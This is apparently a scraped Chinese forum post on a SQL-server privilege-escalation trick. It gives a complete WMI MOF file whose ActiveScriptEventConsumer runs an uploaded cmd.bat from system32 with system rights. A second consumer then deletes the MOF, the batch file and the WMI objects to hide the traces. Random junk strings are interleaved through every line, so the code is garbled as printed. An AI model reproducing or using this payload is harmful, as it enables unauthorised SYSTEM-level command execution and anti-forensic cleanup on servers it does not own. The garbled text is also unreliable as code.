这个sql提权MOF需要运行 system下的文件,不能定义路径。
: D. W1 x5 \% W需要将要运行的命令写入到bat上传到system32目录,然后执行。
4 m0 c9 }, Q ]3 P, @! b! ~: I5 [. P9 b. |' e3 _* ^' j
这个sql提权MOF需要运行 system下的文件,不能定义路径。3 g Y3 {* G4 f- u E- N: M! D' _1 C8 k
需要将要运行的命令写入到bat上传到system32目录,然后执行。
8 ^; u# K, v) w' t1 v- }# ]) ?
1 @0 ], c/ o: E1 Q0 L& z#pragma4 @: C3 l6 w2 R: v
namespace("\\\\.\\root\\cimv2")
6 I# n- v! y# N class8 Q$ B: r2 P$ a# G! l+ i1 o
MyClass547
) I* \. L' |( P% h1 H% g+ N { [key]' o _" o6 M7 k; w8 m2 P! n
string1 L E3 }& t- e1 M
Name;
5 D$ C. v: h, W U0 q) b9 N9 S };
! j/ j& \* O! q5 z; u1 N j X class
5 w! ?1 N/ B$ o ActiveScriptEventConsumer* s, e1 \$ r+ |# f. u8 A+ Z
: __EventConsumer { [key]
0 B8 k/ A. \2 p0 h( d: w' ]) p string: v8 E7 f7 z6 i5 d
Name; [not_null]
+ y% ?9 o8 Y/ F' q2 R: S! u string' g; @7 l! E `6 }/ f2 @9 r
ScriptingEngine; string5 s6 g$ k9 C* A
ScriptFileName; [template]; v& B/ b2 W9 r) ~2 k
string5 u2 _7 ^+ p+ k3 T) H4 H( r
ScriptText; uint32 KillTimeout;
) K, x8 E( a: p) X }; instance of __Win32Provider as $P {8 i/ f' m( T1 I% f+ O1 h
Name8 E2 }9 @% v& Q0 M1 q
=
5 @; X) {) O# { E- w( v "ActiveScriptEventConsumer"; CLSID =- J& m5 s1 }3 S) B. n7 S
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";! E7 a$ f/ s+ u# s5 [
PerUserInitialization0 ]! M: J1 o) @( @) h4 J, W0 N0 _
= TRUE;
$ @# p2 z0 I7 R+ f }; instance of __EventConsumerProviderRegistration { Provider% q' {: {$ U" y: d
= $P; ConsumerClassNames; A, L% W2 V3 n. H5 K
=
0 b' c. h0 m$ E" f( Z0 @ {"ActiveScriptEventConsumer"};& }# r" Q B2 @2 F" z
};* j" x# Q) X) {. ?, h# m9 ^
Instance of ActiveScriptEventConsumer, v+ n" A2 L( L3 A( ]
as $cons { Name, S0 e2 N- u2 S, Q, `- \
=
3 i6 p1 ^ i- h "ASEC"; ScriptingEngine
V8 n" H2 d( l/ N2 I& L =
, k0 B1 m- ?/ ^& J, M6 H "JScript"; ScriptText
* q* r2 P4 z7 c) y =7 h' M7 f; |: j" z# @$ o
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
( f J3 q' i& I. Y8 C; Z" ^" X Instance of ActiveScriptEventConsumer
7 A0 A; O1 F' ?) p$ I p as $cons2 { Name
# i0 X3 ]1 ?; ?6 K =8 O, `- {. L; j- b2 @4 u! [) _
"qndASEC"; ScriptingEngine
) w9 ?- }2 q5 f6 G* I# R =
4 J5 ^1 @$ G6 V" P' L( ~3 v "JScript"; ScriptText
& Q0 `+ k6 t" E =+ P) ?+ z& G' b3 D) Z3 l7 A
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";# C/ @: d- H$ v
}; instance of __EventFilter as $Filt { Name: z3 t: |% C. S
=
: B/ F3 l) X9 y2 ]/ B: [8 F5 D' D E "instfilt"; Query6 q% o& Y; n" j' Z1 O8 f4 B( V0 C
=
# f' ]3 _) w9 l "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage' ~) r& [- `2 I0 A) j* j8 h# i
=
$ m$ A7 W0 c5 J+ e6 N8 E "WQL"; }; instance of __EventFilter as $Filt2 { Name# P) F2 P# \7 T- I
=4 Q5 g2 X& a/ P( U4 `) G. R$ e
"qndfilt"; Query
& k9 y# O3 {& {4 j- S =
( I! n% k. N* u2 d$ j+ [ "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
: G- E5 g8 x# W/ ?: f3 R+ E L =
4 P9 o4 w7 I1 [/ z' ? "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer* d |& I9 V( P$ }. l3 D# k6 _
= $cons; Filter/ Y3 t+ s& z2 H& u' j" M& g
= $Filt;
6 B; G5 y% U' m, z) _0 L }; instance of __FilterToConsumerBinding as $bind2 { Consumer# D$ X5 ~% ?: [ A% r, B- Z6 n# m
= $cons2; Filter
3 T/ U2 S! v M1 O2 V9 U = $Filt2;4 _& e2 k7 |8 K/ r9 h- F
}; instance of MyClass547
! [- l$ F6 u2 `, k, @( C; K& G as $MyClass { Name# v* `' W/ k* c; Q
=: `( ^) x9 ~9 `
"ClassConsumer";
8 Z( Y2 o o5 [$ W }; |